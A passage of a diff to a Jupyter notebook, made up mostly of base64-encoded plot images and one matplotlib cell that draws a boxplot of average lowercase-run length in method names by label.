+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b67fb90>"
+       ]
+      }
+     ],
+     "prompt_number": 148
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('method_name_lowercase_run_avg', 'label')\n",
+      "plt.ylabel('Avg length of lower case letters')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 149,
+       "text": [
+        "<matplotlib.text.Text at 0x113767090>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\neymW